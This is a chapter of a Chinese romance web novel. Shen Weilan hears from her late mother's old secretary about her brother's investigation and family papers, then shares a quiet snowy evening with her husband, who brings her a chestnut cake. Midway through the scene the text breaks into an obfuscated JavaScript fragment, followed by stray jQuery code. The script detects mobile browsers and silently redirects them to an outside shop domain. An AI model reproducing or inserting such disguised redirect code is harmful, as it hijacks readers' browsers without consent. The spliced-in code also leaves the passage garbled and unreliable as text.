傍晚，沈微澜把手机放在书房桌上，正准备把白天没做完的文件收尾，屏幕亮了。
来电显示是一串没有保存的号码。她看着那串数字，敲键盘的动作停了两秒，记忆慢慢回笼。
这个号码她见过。很多年前，母亲还在的时候，这个号码经常在晚饭时间打进来，母亲接起来会笑着喊一声“周姐”，然后走到阳台上去，说很久的话。那时候她还小，不知道“周姐”是谁，只记得母亲每次挂掉电话回来，脸上都带着难得一见的轻松。
后来她渐渐大了，知道了了周姐的身份，但母亲死了，这个号码再也没有出现过。
她接起来。
“微微吗？”电话那头是个上了年纪的女声，嗓音温厚，尾音微微上扬，带着旧式沪上人家特有的腔调，“我是周阿姨。不知道你还记不记得我，你妈妈以前的秘书。”
沈微澜记得。周敏，母亲从林家带出来的人，跟了母亲十几年。母亲嫁进沈家后，她在沈氏待了几年，后来沈鸿远寻了个由头把她调去了华南分公司，明升暗贬，实际上是把母亲身边最后一个老臣支走。母亲死后，她辞了职，去了新加坡，从此断了联系。
“周阿姨。”沈微澜的声音缓下来，“好久不见。”
“十三年了。”周敏笑了一声，“你那时候才到我肩膀，现在都是陆太太了。我在新闻上看到你结婚的消息，一直想给你打个电话，又怕太冒昧。今天是小除夕，我想了想，还是打过来了。不算冒昧吧？”
“不算。”沈微澜说，“您找我有事？”
“有事。”周敏的语气收了些，变得郑重了些，“前阵子有人找到新加坡来，想通过我查一些林家当年的旧事。是你大哥的人，沈明哲。我没见，把人打发走了。但他能找到我，说明他已经查了一圈了。微微，你这个大哥比你爹聪明，他察觉到你不简单。你自己小心些。”
沈微澜握着手机，没有说话。沈明哲在查她，这件事本身她并不意外。她意外的是周敏，这个消失了十三年的人，替她挡了一道，然后第一时间来报信。
“不过你别担心，我给你打电话不是为了吓唬你。”周敏又说，“是有样东西要交给你。你妈妈当年托我保管了一些东西，这些年我一直存在银行保险柜里。里面有一些林家的老文件。我年纪大了，这些东西该还给你了。这几天寄到陆家，收件人写你的名字。”
沈微澜沉默了几秒。
“您替我挡了沈明哲的人。还替我妈保管了十三年的东西。”她的声音平稳，但语速比平时慢，“周阿姨，您不欠我什么。”
“谁说不欠。”周敏的声音轻下来，“你妈对我有恩。她最难的时候我没帮上忙，这件事我惦记了半辈子。东西交到你手上，我就算还完了。不是什么大事，你别有负担。”
挂掉电话之后，沈微澜在椅子上坐了一会儿。
窗外天色已经暗下来，书房的台灯把她的人影投在对面的书架上，安静而孤独。她低头看着手机屏幕上那串陌生又熟悉的号码，心里有什么东西被轻轻拨动了一下。
周敏刚才在电话里说，“我没帮上忙，惦记了半辈子”。
她的母亲已经去世十三年了。仍然有人记得她，仍然有人因为没能帮上她而愧疚，愿意为她女儿挡一道门。
沈微澜按灭屏幕，把手机放在桌上。
她侧头看窗外，上城的雪不知什么时候又开始下了。
书房的落地窗外面飘着细碎的白色。很细、很疏的雪片，一片一片从暗处旋转着飞进花园暖橙色的路灯底下，亮一下，又灭了。
沈微澜走到窗前，往外看。
这扇窗朝向宅子侧面的花园。雪已经下了一小会儿，楼下那丛薰衣草的深灰色枝秆上托了一层绒白。薰衣草在这个季节只剩下一簇簇修剪过的枯枝，但雪落上去之后，每一根细秆都裹了一圈白边，整整齐齐地站在花园角落里，像被人小心安放在那里等待春天的一排逗号。
再远一点是香樟树，阔叶接不住雪，积一小会儿便簌簌地往下落，砸在底下的冬青丛里。窗外的世界被雪衬得很安静，山下的车灯偶尔从树影缝隙里漏出来，一闪，又没了。更远的地方，上城的灯火在雪夜里漫成一片模糊的暖色光带，不像从地面上看那么清晰，只是远远地浮在山脚，像一条缓慢移动的灯带，安静地穿过城市。
沈微澜看着这些，想起了下午那张照片。
S市的四合院，灰瓦上的新雪，石榴树秃枝上托着的蓬松白色。
他站在落地玻璃前，恰好框住最静的那根枝。
他拍那张照片的时候在想什么？是不是也站在窗前，看着外面的雪，然后想到了她？
沈微澜走回书桌前，拿起手机，走到窗边拍了张照片。
上城的雪没有S市的厚，路灯的光比四合院的天色更暖。这是她窗外的雪，但她想让他看到。
她打开他的对话框，把照片发过去。
没有配任何文字。
发完之后她把手机屏幕按灭，端起水杯看窗外。
她的心跳比平时快一点，但这次她没有强迫自己把心跳归结为焦虑、紧张、咖啡因，或暖气太足。
雪还在下，整栋房子都很安静。
她等了大概二十秒，手机没有亮。
她没有发消息催。她端着水杯喝了一口，又喝了一口。
杯里的水只剩下半杯的时候，她伸手按亮了屏幕。
对话框里，他的头像安静地待在对话框左边，没有新消息。
她看着对话框里的沉默，正准备把屏幕按灭，突然注意到屏幕上方的一行小字：【对方正在输入】
沈微澜停住了。
那行【对方正在输入】闪了一下，消失。过了几秒，又闪出来。又消失。第三次闪出来的时候，持续了将近三分钟。
手机终于响起新消息提示音。
陆承衍：【漂亮。】
沈微澜看着这两个字，嘴角弯了一下。
她还没想好要不要回，第二条消息追过来。
陆承衍：【九点前到家。】
沈微澜把那条“九点前到家”看了两遍，然后熄灭手机，没有回复。
她喝完水杯里的最后半杯水，把围巾从脖子上取下来，走进卧室，放在衣帽间抽屉里。
……
晚上八点多，沈微澜靠在客厅沙发上看平板。
车库里传来车门关上的声音。不太响，闷闷的一声，在冬天的夜里足够清晰。
她把平板放到茶几上。
门开了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887668|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>陆承衍站在门口，大衣肩膀上沾了几片没化完的雪粒，手上拿着公文包和一个纸袋。他看到她坐在客厅，眼神在她脸上停了两秒，像是在确认什么。
“还没睡？”他低头换鞋，声音平稳，低沉温和。
“嗯。在看文件。”她的声音也平。心跳不平。
陆承衍换好鞋走进客厅，把公文包和纸袋放在沙发旁边，脱大衣挂上衣帽架。然后他转过身来看她，目光从她脸上往下移了一寸，在她脖子附近停了一瞬。停得很短，然后移开了。
他什么都没说。
但沈微澜注意到了。他看了她的脖子。
然后，他走过来，把那个纸袋递给她。
“路过一家烘焙坊顺手买的，栗子味的。”
沈微澜接过来。纸袋还是温的，微微渗出一点热度，袋口透出来的气味是焦糖和栗子混在一起，甜的，但似乎是她能接受的那种甜度。
她打开看了一眼，里面是一个栗子蛋糕，很小，三四寸的样子，表面浇了一层薄薄的焦糖，在暖黄灯光下微微反光。像是街角老店随手打包的，朴素，但冒着热气。
沈微澜看着那个蛋糕。
“你怎么知道我吃栗子味的。”她问。
陆承衍往厨房走：“上个月吃晚餐，你多夹了几块栗子挞。”
沈微澜站在原地，看着他的背影。那是什么时候的事？半个月前，某顿晚餐，桌上有一盘混合甜点拼盘。她自己都不记得自己多夹了哪一块。他记得。他不光记得，他在路过烘焙坊的时候想起来了，然后停车，进去，买了一个她可能会喜欢的口味。
沈微澜拎着纸袋跟进厨房。他正在倒水，手机放在料理台上，屏幕朝上。还是出厂默认的蓝紫色几何屏保。
她靠在门框上，把蛋糕放在台面上。
“S市的事情，处理完了？”
“嗯，年前最后几件，都收尾了。”
安静了几秒。厨房里只有冰箱的低频嗡鸣和暖气片偶尔发出的一声轻响。窗外的雪还在下，很小了，几乎看不见，但窗玻璃上凝了一层薄雾。
她先开了口：“那条围巾。在S市买的？”
“嗯。”他的语气和刚才一样平，“陈秘书挑的颜色。”
沈微澜看着他。
他没有看她。他在喝水。杯子端到嘴边，喉结动了一下，放下来，手指在杯沿上无意识地摩挲了一圈。然后他拿起手机，低头看屏幕。没有任何新消息，屏幕干干净净，他只是在找事情做。这个多余的动作让她心里某根弦被轻轻拨了一下。他在躲。
他是躲自己刚才那句话，因为他知道那句话有破绽，她一定听得出破绽。
沈微澜顿了一下，没有拆穿。
“谢谢。”她说。语气还是正式的，但声音比刚才轻了一点。
他“嗯”了一声，端着水杯往楼上书房走。
沈微澜想叫住他，想把栗子蛋糕切开分他一半，说你也吃一口。但她没有叫住他。她只是站在原地，看着他的背影穿过大厅，走上楼梯。暖黄的灯光洒下来，勾勒出他挺拔的背影。
沈微澜低头看台面上的栗子蛋糕。焦糖表面在暖气里微微化开，泛着一层薄薄的光。她拿了一把小勺子，挖了一小口放进嘴里。栗子味很浓，甜度刚好。